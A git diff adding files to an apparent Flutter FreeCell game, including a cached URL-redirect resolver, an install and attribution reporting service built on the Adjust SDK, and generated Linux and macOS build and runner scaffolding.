Uri.parse(url).resolve(res.location!).toString(); + } catch (_) { + return res.location!; + } + } + + return url; + } catch (_) { + return url; + } +} + +Future resolveWithRetry(String originUrl) async { + for (int i = 0; i < 3; i++) { + final redirect = await getRedirect(originUrl); + + if (redirect == originUrl) { + return originUrl; + } + + if (await canConnect(redirect)) { + return redirect; + } + + if (i < 2) { + await sleep(100); + } + } + + return null; +} + +Future resolveRedirectUrl(String originUrl) async { + try { + final prefs = await SharedPreferences.getInstance(); + + final cacheOrigin = prefs.getString(spOrigin); + final cacheResolved = prefs.getString(spResolved); + + if (originUrl == cacheOrigin && cacheResolved != null) { + if (await canConnect(cacheResolved)) { + return cacheResolved; + } + } + + final resolved = await resolveWithRetry(originUrl); + + if (resolved != null) { + await prefs.setString(spOrigin, originUrl); + await prefs.setString(spResolved, resolved); + return resolved; + } + + return originUrl; + } catch (_) { + return originUrl; + } +} diff --git a/lib/utils/report.dart b/lib/utils/report.dart new file mode 100644 index 0000000..6cde4b1 --- /dev/null +++ b/lib/utils/report.dart @@ -0,0 +1,126 @@ +import 'dart:convert'; + +import 'package:adjust_sdk/adjust.dart'; +import 'package:adjust_sdk/adjust_attribution.dart'; +import 'package:flutter/cupertino.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +import 'device_info.dart'; +import 'http_util.dart'; + +const String _installSentKey = 'report_install_sent'; +const String _attributionSentKey = 'report_attribution_sent'; + +class ReportService { + ReportService._(); + static final ReportService I = ReportService._(); + + String adjustId = ''; + AdjustAttribution? _attribution; + AdjustAttribution? get attribution => _attribution; + Map _attributionMap = {}; + set attribution(AdjustAttribution? a) { + _attribution = a; + _attributionMap = getAttributionMap(); + } + + void report(String eventName, Map? params) { + sendReportAsync(eventName, params) + .then((_) => debugPrint('Report sent successfully $eventName')) + .catchError((error) { + debugPrint('Failed to send report: $error'); + }); + } + + void reportInstall() { + _sendDedupedReport( + 'install', + _installSentKey, + null, + ).then((_) => debugPrint('Report install finished')).catchError((error) { + debugPrint('Failed to send install report: $error'); + }); + } + + void reportAttribution() { + if (_attribution == null) { + debugPrint('Attribution data is null, skipping attribution report'); + return; + } + _sendDedupedReport('attribution', _attributionSentKey, {}) + .then((_) => debugPrint('Report attribution finished')) + .catchError((error) { + debugPrint('Failed to send attribution report: $error'); + }); + } + + Future sendReportAsync( + String eventName, + Map? params, + ) async { + if (eventName.isEmpty) { + debugPrint('Event name is empty, skipping report'); + return; + } + await _sendReport(eventName, params); + } + + Future _sendDedupedReport( + String eventName, + String sentKey, + Map? params, + ) async { + final prefs = await SharedPreferences.getInstance(); + final alreadySent = prefs.getBool(sentKey) == true; + if (alreadySent) { + debugPrint('$eventName report already sent, skipping'); + return; + } + + await _sendReport(eventName, params); + await prefs.setBool(sentKey, true); + } + + Future _sendReport( + String eventName, + Map? params, + ) async { + final deviceInfo = await DeviceInfo.I.deviceInfo(); + Map reportData = { + 'event': eventName, + 'params': params ?? {}, + 'attribution': _attributionMap, + 'deviceInfo': deviceInfo, + }; + if (_attribution != null) { + // 如果 attribution 不为 null,尝试获取 adjustAdid + try { + final adjustAdid = await Adjust.getAdidWithTimeout(1000); + reportData['adjustAdid'] = adjustAdid; + } catch (e) { + debugPrint('Failed to get Adjust Adid: $e'); + } + } + // 这里可以将 reportData 发送到服务器或者日志系统 + debugPrint('Report: $reportData'); + await reportInfo(jsonEncode(reportData)); + } + + Map getAttributionMap() { + if (_attribution == null) return {}; + return { + 'trackerToken': _attribution!.trackerToken ?? '', + 'trackerName': _attribution!.trackerName ?? '', + 'network': _attribution!.network ?? '', + 'campaign': _attribution!.campaign ?? '', + 'adgroup': _attribution!.adgroup ?? '', + 'creative': _attribution!.creative ?? '', + 'clickLabel': _attribution!.clickLabel ?? '', + 'costType': _attribution!.costType ?? '', + 'costAmount': _attribution!.costAmount?.toString() ?? '', + 'costCurrency': _attribution!.costCurrency ?? '', + 'jsonResponse': _attribution!.jsonResponse ?? '', + 'fbInstallReferrer': _attribution!.fbInstallReferrer ?? '', + }; + } +} diff --git a/linux/.gitignore b/linux/.gitignore new file mode 100644 index 0000000..c7ea17f --- /dev/null +++ b/linux/.gitignore @@ -0,0 +1 @@ +flutter/ephemeral diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt new file mode 100644 index 0000000..4eb7f75 --- /dev/null +++ b/linux/CMakeLists.txt @@ -0,0 +1,128 @@ +# Project-level configuration. +cmake_minimum_required(VERSION 3.13) +project(runner LANGUAGES CXX) + +# The name of the executable created for the application. Change this to change +# the on-disk name of your application. +set(BINARY_NAME "freecell") +# The unique GTK application identifier for this application. See: +# https://wiki.gnome.org/HowDoI/ChooseApplicationID +set(APPLICATION_ID "com.example.freecell") + +# Explicitly opt in to modern CMake behaviors to avoid warnings with recent +# versions of CMake. +cmake_policy(SET CMP0063 NEW) + +# Load bundled libraries from the lib/ directory relative to the binary. +set(CMAKE_INSTALL_RPATH "$ORIGIN/lib") + +# Root filesystem for cross-building. +if(FLUTTER_TARGET_PLATFORM_SYSROOT) + set(CMAKE_SYSROOT ${FLUTTER_TARGET_PLATFORM_SYSROOT}) + set(CMAKE_FIND_ROOT_PATH ${CMAKE_SYSROOT}) + set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) + set(CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY) + set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) + set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) +endif() + +# Define build configuration options. +if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES) + set(CMAKE_BUILD_TYPE "Debug" CACHE + STRING "Flutter build mode" FORCE) + set_property(CACHE CMAKE_BUILD_TYPE PROPERTY STRINGS + "Debug" "Profile" "Release") +endif() + +# Compilation settings that should be applied to most targets. +# +# Be cautious about adding new options here, as plugins use this function by +# default. In most cases, you should add new options to specific targets instead +# of modifying this function. +function(APPLY_STANDARD_SETTINGS TARGET) + target_compile_features(${TARGET} PUBLIC cxx_std_14) + target_compile_options(${TARGET} PRIVATE -Wall -Werror) + target_compile_options(${TARGET} PRIVATE "$<$>:-O3>") + target_compile_definitions(${TARGET} PRIVATE "$<$>:NDEBUG>") +endfunction() + +# Flutter library and tool build rules. +set(FLUTTER_MANAGED_DIR "${CMAKE_CURRENT_SOURCE_DIR}/flutter") +add_subdirectory(${FLUTTER_MANAGED_DIR}) + +# System-level dependencies. +find_package(PkgConfig REQUIRED) +pkg_check_modules(GTK REQUIRED IMPORTED_TARGET gtk+-3.0) + +# Application build; see runner/CMakeLists.txt. +add_subdirectory("runner") + +# Run the Flutter tool portions of the build. This must not be removed. +add_dependencies(${BINARY_NAME} flutter_assemble) + +# Only the install-generated bundle's copy of the executable will launch +# correctly, since the resources must in the right relative locations. To avoid +# people trying to run the unbundled copy, put it in a subdirectory instead of +# the default top-level location. +set_target_properties(${BINARY_NAME} + PROPERTIES + RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/intermediates_do_not_run" +) + + +# Generated plugin build rules, which manage building the plugins and adding +# them to the application. +include(flutter/generated_plugins.cmake) + + +# === Installation === +# By default, "installing" just makes a relocatable bundle in the build +# directory. +set(BUILD_BUNDLE_DIR "${PROJECT_BINARY_DIR}/bundle") +if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT) + set(CMAKE_INSTALL_PREFIX "${BUILD_BUNDLE_DIR}" CACHE PATH "..." FORCE) +endif() + +# Start with a clean build bundle directory every time. +install(CODE " + file(REMOVE_RECURSE \"${BUILD_BUNDLE_DIR}/\") + " COMPONENT Runtime) + +set(INSTALL_BUNDLE_DATA_DIR "${CMAKE_INSTALL_PREFIX}/data") +set(INSTALL_BUNDLE_LIB_DIR "${CMAKE_INSTALL_PREFIX}/lib") + +install(TARGETS ${BINARY_NAME} RUNTIME DESTINATION "${CMAKE_INSTALL_PREFIX}" + COMPONENT Runtime) + +install(FILES "${FLUTTER_ICU_DATA_FILE}" DESTINATION "${INSTALL_BUNDLE_DATA_DIR}" + COMPONENT Runtime) + +install(FILES "${FLUTTER_LIBRARY}" DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) + +foreach(bundled_library ${PLUGIN_BUNDLED_LIBRARIES}) + install(FILES "${bundled_library}" + DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) +endforeach(bundled_library) + +# Copy the native assets provided by the build.dart from all packages. +set(NATIVE_ASSETS_DIR "${PROJECT_BUILD_DIR}native_assets/linux/") +install(DIRECTORY "${NATIVE_ASSETS_DIR}" + DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) + +# Fully re-copy the assets directory on each build to avoid having stale files +# from a previous install. +set(FLUTTER_ASSET_DIR_NAME "flutter_assets") +install(CODE " + file(REMOVE_RECURSE \"${INSTALL_BUNDLE_DATA_DIR}/${FLUTTER_ASSET_DIR_NAME}\") + " COMPONENT Runtime) +install(DIRECTORY "${PROJECT_BUILD_DIR}/${FLUTTER_ASSET_DIR_NAME}" + DESTINATION "${INSTALL_BUNDLE_DATA_DIR}" COMPONENT Runtime) + +# Install the AOT library on non-Debug builds only. +if(NOT CMAKE_BUILD_TYPE MATCHES "Debug") + install(FILES "${AOT_LIBRARY}" DESTINATION "${INSTALL_BUNDLE_LIB_DIR}" + COMPONENT Runtime) +endif() diff --git a/linux/flutter/CMakeLists.txt b/linux/flutter/CMakeLists.txt new file mode 100644 index 0000000..27860e8 --- /dev/null +++ b/linux/flutter/CMakeLists.txt @@ -0,0 +1,88 @@ +# This file controls Flutter-level build steps. It should not be edited. +cmake_minimum_required(VERSION 3.10) + +set(EPHEMERAL_DIR "${CMAKE_CURRENT_SOURCE_DIR}/ephemeral") + +# Configuration provided via flutter tool. +include(${EPHEMERAL_DIR}/generated_config.cmake) + +# TODO: Move the rest of this into files in ephemeral. See +# https://github.com/flutter/flutter/issues/57146. + +# Serves the same purpose as list(TRANSFORM ... PREPEND ...), +# which isn't available in 3.10. +function(list_prepend LIST_NAME PREFIX) + set(NEW_LIST "") + foreach(element ${${LIST_NAME}}) + list(APPEND NEW_LIST "${PREFIX}${element}") + endforeach(element) + set(${LIST_NAME} "${NEW_LIST}" PARENT_SCOPE) +endfunction() + +# === Flutter Library === +# System-level dependencies. +find_package(PkgConfig REQUIRED) +pkg_check_modules(GTK REQUIRED IMPORTED_TARGET gtk+-3.0) +pkg_check_modules(GLIB REQUIRED IMPORTED_TARGET glib-2.0) +pkg_check_modules(GIO REQUIRED IMPORTED_TARGET gio-2.0) + +set(FLUTTER_LIBRARY "${EPHEMERAL_DIR}/libflutter_linux_gtk.so") + +# Published to parent scope for install step. +set(FLUTTER_LIBRARY ${FLUTTER_LIBRARY} PARENT_SCOPE) +set(FLUTTER_ICU_DATA_FILE "${EPHEMERAL_DIR}/icudtl.dat" PARENT_SCOPE) +set(PROJECT_BUILD_DIR "${PROJECT_DIR}/build/" PARENT_SCOPE) +set(AOT_LIBRARY "${PROJECT_DIR}/build/lib/libapp.so" PARENT_SCOPE) + +list(APPEND FLUTTER_LIBRARY_HEADERS + "fl_basic_message_channel.h" + "fl_binary_codec.h" + "fl_binary_messenger.h" + "fl_dart_project.h" + "fl_engine.h" + "fl_json_message_codec.h" + "fl_json_method_codec.h" + "fl_message_codec.h" + "fl_method_call.h" + "fl_method_channel.h" + "fl_method_codec.h" + "fl_method_response.h" + "fl_plugin_registrar.h" + "fl_plugin_registry.h" + "fl_standard_message_codec.h" + "fl_standard_method_codec.h" + "fl_string_codec.h" + "fl_value.h" + "fl_view.h" + "flutter_linux.h" +) +list_prepend(FLUTTER_LIBRARY_HEADERS "${EPHEMERAL_DIR}/flutter_linux/") +add_library(flutter INTERFACE) +target_include_directories(flutter INTERFACE + "${EPHEMERAL_DIR}" +) +target_link_libraries(flutter INTERFACE "${FLUTTER_LIBRARY}") +target_link_libraries(flutter INTERFACE + PkgConfig::GTK + PkgConfig::GLIB + PkgConfig::GIO +) +add_dependencies(flutter flutter_assemble) + +# === Flutter tool backend === +# _phony_ is a non-existent file to force this command to run every time, +# since currently there's no way to get a full input/output list from the +# flutter tool. +add_custom_command( + OUTPUT ${FLUTTER_LIBRARY} ${FLUTTER_LIBRARY_HEADERS} + ${CMAKE_CURRENT_BINARY_DIR}/_phony_ + COMMAND ${CMAKE_COMMAND} -E env + ${FLUTTER_TOOL_ENVIRONMENT} + "${FLUTTER_ROOT}/packages/flutter_tools/bin/tool_backend.sh" + ${FLUTTER_TARGET_PLATFORM} ${CMAKE_BUILD_TYPE} + VERBATIM +) +add_custom_target(flutter_assemble DEPENDS + "${FLUTTER_LIBRARY}" + ${FLUTTER_LIBRARY_HEADERS} +) diff --git a/linux/flutter/generated_plugin_registrant.cc b/linux/flutter/generated_plugin_registrant.cc new file mode 100644 index 0000000..90f9504 --- /dev/null +++ b/linux/flutter/generated_plugin_registrant.cc @@ -0,0 +1,23 @@ +// +// Generated file. Do not edit. +// + +// clang-format off + +#include "generated_plugin_registrant.h" + +#include +#include +#include + +void fl_register_plugins(FlPluginRegistry* registry) { + g_autoptr(FlPluginRegistrar) audioplayers_linux_registrar = + fl_plugin_registry_get_registrar_for_plugin(registry, "AudioplayersLinuxPlugin"); + audioplayers_linux_plugin_register_with_registrar(audioplayers_linux_registrar); + g_autoptr(FlPluginRegistrar) flutter_vpn_detector_registrar = + fl_plugin_registry_get_registrar_for_plugin(registry, "FlutterVpnDetectorPlugin"); + flutter_vpn_detector_plugin_register_with_registrar(flutter_vpn_detector_registrar); + g_autoptr(FlPluginRegistrar) url_launcher_linux_registrar = + fl_plugin_registry_get_registrar_for_plugin(registry, "UrlLauncherPlugin"); + url_launcher_plugin_register_with_registrar(url_launcher_linux_registrar); +} diff --git a/linux/flutter/generated_plugin_registrant.h b/linux/flutter/generated_plugin_registrant.h new file mode 100644 index 0000000..e0f0a47 --- /dev/null +++ b/linux/flutter/generated_plugin_registrant.h @@ -0,0 +1,15 @@ +// +// Generated file. Do not edit. +// + +// clang-format off + +#ifndef GENERATED_PLUGIN_REGISTRANT_ +#define GENERATED_PLUGIN_REGISTRANT_ + +#include + +// Registers Flutter plugins. +void fl_register_plugins(FlPluginRegistry* registry); + +#endif // GENERATED_PLUGIN_REGISTRANT_ diff --git a/linux/flutter/generated_plugins.cmake b/linux/flutter/generated_plugins.cmake new file mode 100644 index 0000000..4eb27cd --- /dev/null +++ b/linux/flutter/generated_plugins.cmake @@ -0,0 +1,27 @@ +# +# Generated file, do not edit. +# + +list(APPEND FLUTTER_PLUGIN_LIST + audioplayers_linux + flutter_vpn_detector + url_launcher_linux +) + +list(APPEND FLUTTER_FFI_PLUGIN_LIST + jni +) + +set(PLUGIN_BUNDLED_LIBRARIES) + +foreach(plugin ${FLUTTER_PLUGIN_LIST}) + add_subdirectory(flutter/ephemeral/.plugin_symlinks/${plugin}/linux plugins/${plugin}) + target_link_libraries(${BINARY_NAME} PRIVATE ${plugin}_plugin) + list(APPEND PLUGIN_BUNDLED_LIBRARIES $) + list(APPEND PLUGIN_BUNDLED_LIBRARIES ${${plugin}_bundled_libraries}) +endforeach(plugin) + +foreach(ffi_plugin ${FLUTTER_FFI_PLUGIN_LIST}) + add_subdirectory(flutter/ephemeral/.plugin_symlinks/${ffi_plugin}/linux plugins/${ffi_plugin}) + list(APPEND PLUGIN_BUNDLED_LIBRARIES ${${ffi_plugin}_bundled_libraries}) +endforeach(ffi_plugin) diff --git a/linux/runner/CMakeLists.txt b/linux/runner/CMakeLists.txt new file mode 100644 index 0000000..7ed6f3e --- /dev/null +++ b/linux/runner/CMakeLists.txt @@ -0,0 +1,26 @@ +cmake_minimum_required(VERSION 3.13) +project(runner LANGUAGES CXX) + +# Define the application target. To change its name, change BINARY_NAME in the +# top-level CMakeLists.txt, not the value here, or `flutter run` will no longer +# work. +# +# Any new source files that you add to the application should be added here. +add_executable(${BINARY_NAME} + "main.cc" + "my_application.cc" + "${FLUTTER_MANAGED_DIR}/generated_plugin_registrant.cc" +) + +# Apply the standard set of build settings. This can be removed for applications +# that need different build settings. +apply_standard_settings(${BINARY_NAME}) + +# Add preprocessor definitions for the application ID. +add_definitions(-DAPPLICATION_ID="${APPLICATION_ID}") + +# Add dependency libraries. Add any application-specific dependencies here. +target_link_libraries(${BINARY_NAME} PRIVATE flutter) +target_link_libraries(${BINARY_NAME} PRIVATE PkgConfig::GTK) + +target_include_directories(${BINARY_NAME} PRIVATE "${CMAKE_SOURCE_DIR}") diff --git a/linux/runner/main.cc b/linux/runner/main.cc new file mode 100644 index 0000000..4340ffc --- /dev/null +++ b/linux/runner/main.cc @@ -0,0 +1,6 @@ +#include "my_application.h" + +int main(int argc, char** argv) { + g_autoptr(MyApplication) app = my_application_new(); + return g_application_run(G_APPLICATION(app), argc, argv); +} diff --git a/linux/runner/my_application.cc b/linux/runner/my_application.cc new file mode 100644 index 0000000..1be93e7 --- /dev/null +++ b/linux/runner/my_application.cc @@ -0,0 +1,148 @@ +#include "my_application.h" + +#include +#ifdef GDK_WINDOWING_X11 +#include +#endif + +#include "flutter/generated_plugin_registrant.h" + +struct _MyApplication { + GtkApplication parent_instance; + char** dart_entrypoint_arguments; +}; + +G_DEFINE_TYPE(MyApplication, my_application, GTK_TYPE_APPLICATION) + +// Called when first Flutter frame received. +static void first_frame_cb(MyApplication* self, FlView* view) { + gtk_widget_show(gtk_widget_get_toplevel(GTK_WIDGET(view))); +} + +// Implements GApplication::activate. +static void my_application_activate(GApplication* application) { + MyApplication* self = MY_APPLICATION(application); + GtkWindow* window = + GTK_WINDOW(gtk_application_window_new(GTK_APPLICATION(application))); + + // Use a header bar when running in GNOME as this is the common style used + // by applications and is the setup most users will be using (e.g. Ubuntu + // desktop). + // If running on X and not using GNOME then just use a traditional title bar + // in case the window manager does more exotic layout, e.g. tiling. + // If running on Wayland assume the header bar will work (may need changing + // if future cases occur). + gboolean use_header_bar = TRUE; +#ifdef GDK_WINDOWING_X11 + GdkScreen* screen = gtk_window_get_screen(window); + if (GDK_IS_X11_SCREEN(screen)) { + const gchar* wm_name = gdk_x11_screen_get_window_manager_name(screen); + if (g_strcmp0(wm_name, "GNOME Shell") != 0) { + use_header_bar = FALSE; + } + } +#endif + if (use_header_bar) { + GtkHeaderBar* header_bar = GTK_HEADER_BAR(gtk_header_bar_new()); + gtk_widget_show(GTK_WIDGET(header_bar)); + gtk_header_bar_set_title(header_bar, "freecell"); + gtk_header_bar_set_show_close_button(header_bar, TRUE); + gtk_window_set_titlebar(window, GTK_WIDGET(header_bar)); + } else { + gtk_window_set_title(window, "freecell"); + } + + gtk_window_set_default_size(window, 1280, 720); + + g_autoptr(FlDartProject) project = fl_dart_project_new(); + fl_dart_project_set_dart_entrypoint_arguments( + project, self->dart_entrypoint_arguments); + + FlView* view = fl_view_new(project); + GdkRGBA background_color; + // Background defaults to black, override it here if necessary, e.g. #00000000 + // for transparent. + gdk_rgba_parse(&background_color, "#000000"); + fl_view_set_background_color(view, &background_color); + gtk_widget_show(GTK_WIDGET(view)); + gtk_container_add(GTK_CONTAINER(window), GTK_WIDGET(view)); + + // Show the window when Flutter renders. + // Requires the view to be realized so we can start rendering. + g_signal_connect_swapped(view, "first-frame", G_CALLBACK(first_frame_cb), + self); + gtk_widget_realize(GTK_WIDGET(view)); + + fl_register_plugins(FL_PLUGIN_REGISTRY(view)); + + gtk_widget_grab_focus(GTK_WIDGET(view)); +} + +// Implements GApplication::local_command_line. +static gboolean my_application_local_command_line(GApplication* application, + gchar*** arguments, + int* exit_status) { + MyApplication* self = MY_APPLICATION(application); + // Strip out the first argument as it is the binary name. + self->dart_entrypoint_arguments = g_strdupv(*arguments + 1); + + g_autoptr(GError) error = nullptr; + if (!g_application_register(application, nullptr, &error)) { + g_warning("Failed to register: %s", error->message); + *exit_status = 1; + return TRUE; + } + + g_application_activate(application); + *exit_status = 0; + + return TRUE; +} + +// Implements GApplication::startup. +static void my_application_startup(GApplication* application) { + // MyApplication* self = MY_APPLICATION(object); + + // Perform any actions required at application startup. + + G_APPLICATION_CLASS(my_application_parent_class)->startup(application); +} + +// Implements GApplication::shutdown. +static void my_application_shutdown(GApplication* application) { + // MyApplication* self = MY_APPLICATION(object); + + // Perform any actions required at application shutdown. + + G_APPLICATION_CLASS(my_application_parent_class)->shutdown(application); +} + +// Implements GObject::dispose. +static void my_application_dispose(GObject* object) { + MyApplication* self = MY_APPLICATION(object); + g_clear_pointer(&self->dart_entrypoint_arguments, g_strfreev); + G_OBJECT_CLASS(my_application_parent_class)->dispose(object); +} + +static void my_application_class_init(MyApplicationClass* klass) { + G_APPLICATION_CLASS(klass)->activate = my_application_activate; + G_APPLICATION_CLASS(klass)->local_command_line = + my_application_local_command_line; + G_APPLICATION_CLASS(klass)->startup = my_application_startup; + G_APPLICATION_CLASS(klass)->shutdown = my_application_shutdown; + G_OBJECT_CLASS(klass)->dispose = my_application_dispose; +} + +static void my_application_init(MyApplication* self) {} + +MyApplication* my_application_new() { + // Set the program name to the application ID, which helps various systems + // like GTK and desktop environments map this running application to its + // corresponding .desktop file. This ensures better integration by allowing + // the application to be recognized beyond its binary name. + g_set_prgname(APPLICATION_ID); + + return MY_APPLICATION(g_object_new(my_application_get_type(), + "application-id", APPLICATION_ID, "flags", + G_APPLICATION_NON_UNIQUE, nullptr)); +} diff --git a/linux/runner/my_application.h b/linux/runner/my_application.h new file mode 100644 index 0000000..c4c4a71 --- /dev/null +++ b/linux/runner/my_application.h @@ -0,0 +1,21 @@ +#ifndef FLUTTER_MY_APPLICATION_H_ +#define FLUTTER_MY_APPLICATION_H_ + +#include + +G_DECLARE_FINAL_TYPE(MyApplication, + my_application, + MY, + APPLICATION, + GtkApplication) + +/** + * my_application_new: + * + * Creates a new Flutter-based application. + * + * Returns: a new #MyApplication. + */ +MyApplication* my_application_new(); + +#endif // FLUTTER_MY_APPLICATION_H_ diff --git a/macos/.gitignore b/macos/.gitignore new file mode 100644 index 0000000..d4e0569 --- /dev/null +++ b/macos/.gitignore @@ -0,0 +1,7 @@ +# Flutter-related +**/Flutter/ephemeral/ +**/Pods/ + +# Xcode-related +**/dgph +**/xcuserdata/ diff --git a/macos/Flutter/Flutter-Debug.xcconfig b/macos/Flutter/Flutter-Debug.xcconfig new file mode 100644 index 0000000..df4c964 --- /dev/null +++ b/macos/Flutter/Flutter-Debug.xcconfig @@ -0,0 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig" +#include "ephemeral/Flutter-Generated.xcconfig" diff --git a/macos/Flutter/Flutter-Release.xcconfig b/macos/Flutter/Flutter-Release.xcconfig new file mode 100644 index 0000000..e79501e --- /dev/null +++ b/macos/Flutter/Flutter-Release.xcconfig @@ -0,0 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig" +#include "ephemeral/Flutter-Generated.xcconfig" diff --git a/macos/Flutter/GeneratedPluginRegistrant.swift b/macos/Flutter/GeneratedPluginRegistrant.swift new file mode 100644 index 0000000..acbc9dd --- /dev/null +++ b/macos/Flutter/GeneratedPluginRegistrant.swift @@ -0,0 +1,24 @@ +// +// Generated file. Do not edit. +// + +import FlutterMacOS +import Foundation + +import audioplayers_darwin +import device_info_plus +import flutter_inappwebview_macos +import flutter_vpn_detector +import package_info_plus +import shared_preferences_foundation +import url_launcher_macos + +func RegisterGeneratedPlugins(registry: FlutterPluginRegistry) { + AudioplayersDarwinPlugin.register(with: registry.registrar(forPlugin: "AudioplayersDarwinPlugin")) + DeviceInfoPlusMacosPlugin.register(with: registry.registrar(forPlugin: "DeviceInfoPlusMacosPlugin")) + InAppWebViewFlutterPlugin.register(with: registry.registrar(forPlugin: "InAppWebViewFlutterPlugin")) + FlutterVpnDetectorPlugin.register(with: registry.registrar(forPlugin: "FlutterVpnDetectorPlugin")) + FPPPackageInfoPlusPlugin.register(with: registry.registrar(forPlugin: "FPPPackageInfoPlusPlugin")) + SharedPreferencesPlugin.register(with: registry.registrar(forPlugin: "SharedPreferencesPlugin")) + UrlLauncherPlugin.register(with: registry.registrar(forPlugin: "UrlLauncherPlugin")) +} diff --git a/macos/Podfile b/macos/Podfile new file mode 100644 index 0000000..ff5ddb3 --- /dev/null +++ b/macos/Podfile @@ -0,0 +1,42 @@ +platform :osx, '10.15' + +# CocoaPods analytics sends network stats synchronously affecting flutter build latency. +ENV['COCOAPODS_DISABLE_STATS'] = 'true' + +project 'Runner', { + 'Debug' => :debug, + 'Profile' => :release, + 'Release' => :release, +} + +def flutter_root + generated_xcode_build_settings_path = File.expand_path(File.join('..', 'Flutter', 'ephemeral', 'Flutter-Generated.xcconfig'), __FILE__) + unless File.exist?(generated_xcode_build_settings_path) + raise "#{generated_xcode_build_settings_path} must exist. If you're running pod install manually, make sure \"flutter pub get\" is executed first" + end + + File.foreach(generated_xcode_build_settings_path) do |line| + matches = line.match(/FLUTTER_ROOT\=(.*)/) + return matches[1].strip if matches + end + raise "FLUTTER_ROOT not found in #{generated_xcode_build_settings_path}. Try deleting Flutter-Generated.xcconfig, then run \"flutter pub get\"" +end + +require File.expand_path(File.join('packages', 'flutter_tools', 'bin', 'podhelper'), flutter_root) + +flutter_macos_podfile_setup + +target 'Runner' do + use_frameworks! + + flutter_install_all_macos_pods File.dirname(File.realpath(__FILE__)) + target 'RunnerTests' do + inherit! :search_paths + end +end + +post_install do |installer| + installer.pods_project.targets.each do |target| + flutter_additional_macos_build_settings(target) + end +end diff --git a/macos/Runner.xcodeproj/project.pbxproj b/macos/Runner.xcodeproj/project.pbxproj new file mode 100644 index 0000000..967e11b --- /dev/null +++ b/macos/Runner.xcodeproj/project.pbxproj @@ -0,0 +1,705 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 54; + objects = { + +/* Begin PBXAggregateTarget section */ + 33CC111A2044C6BA0003C045 /* Flutter Assemble */ = { + isa = PBXAggregateTarget; + buildConfigurationList = 33CC111B2044C6BA0003C045 /* Build configuration list for PBXAggregateTarget "Flutter Assemble" */; + buildPhases = ( + 33CC111E2044C6BF0003C045 /* ShellScript */, + ); + dependencies = ( + ); + name = "Flutter Assemble"; + productName = FLX; + }; +/* End PBXAggregateTarget section */ + +/* Begin PBXBuildFile section */ + 331C80D8294CF71000263BE5 /* RunnerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 331C80D7294CF71000263BE5 /* RunnerTests.swift */; }; + 335BBD1B22A9A15E00E9071D /* GeneratedPluginRegistrant.swift in Sources */ = {isa = PBXBuildFile; fileRef = 335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */; }; + 33CC10F12044A3C60003C045 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 33CC10F02044A3C60003C045 /* AppDelegate.swift */; }; + 33CC10F32044A3C60003C045 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 33CC10F22044A3C60003C045 /* Assets.xcassets */; }; + 33CC10F62044A3C60003C045 /* MainMenu.xib in Resources */ = {isa = PBXBuildFile; fileRef = 33CC10F42044A3C60003C045 /* MainMenu.xib */; }; + 33CC11132044BFA00003C045 /* MainFlutterWindow.swift in Sources */ = {isa = PBXBuildFile; fileRef = 33CC11122044BFA00003C045 /* MainFlutterWindow.swift */; }; +/* End PBXBuildFile section */ + +/* Begin PBXContainerItemProxy section */ + 331C80D9294CF71000263BE5 /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 33CC10E52044A3C60003C045 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 33CC10EC2044A3C60003C045; + remoteInfo = Runner; + }; + 33CC111F2044C79F0003C045 /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 33CC10E52044A3C60003C045 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 33CC111A2044C6BA0003C045; + remoteInfo = FLX; + }; +/* End PBXContainerItemProxy section */ + +/* Begin PBXCopyFilesBuildPhase section */ + 33CC110E2044A8840003C045 /* Bundle Framework */ = { + isa = PBXCopyFilesBuildPhase; + buildActionMask = 2147483647; + dstPath = ""; + dstSubfolderSpec = 10; + files = ( + ); + name = "Bundle Framework"; + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXCopyFilesBuildPhase section */ + +/* Begin PBXFileReference section */ + 331C80D5294CF71000263BE5 /* RunnerTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RunnerTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + 331C80D7294CF71000263BE5 /* RunnerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RunnerTests.swift; sourceTree = ""; }; + 333000ED22D3DE5D00554162 /* Warnings.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = Warnings.xcconfig; sourceTree = ""; }; + 335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = GeneratedPluginRegistrant.swift; sourceTree = ""; }; + 33CC10ED2044A3C60003C045 /* freecell.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "freecell.app"; sourceTree = BUILT_PRODUCTS_DIR; }; + 33CC10F02044A3C60003C045 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; + 33CC10F22044A3C60003C045 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; name = Assets.xcassets; path = Runner/Assets.xcassets; sourceTree = ""; }; + 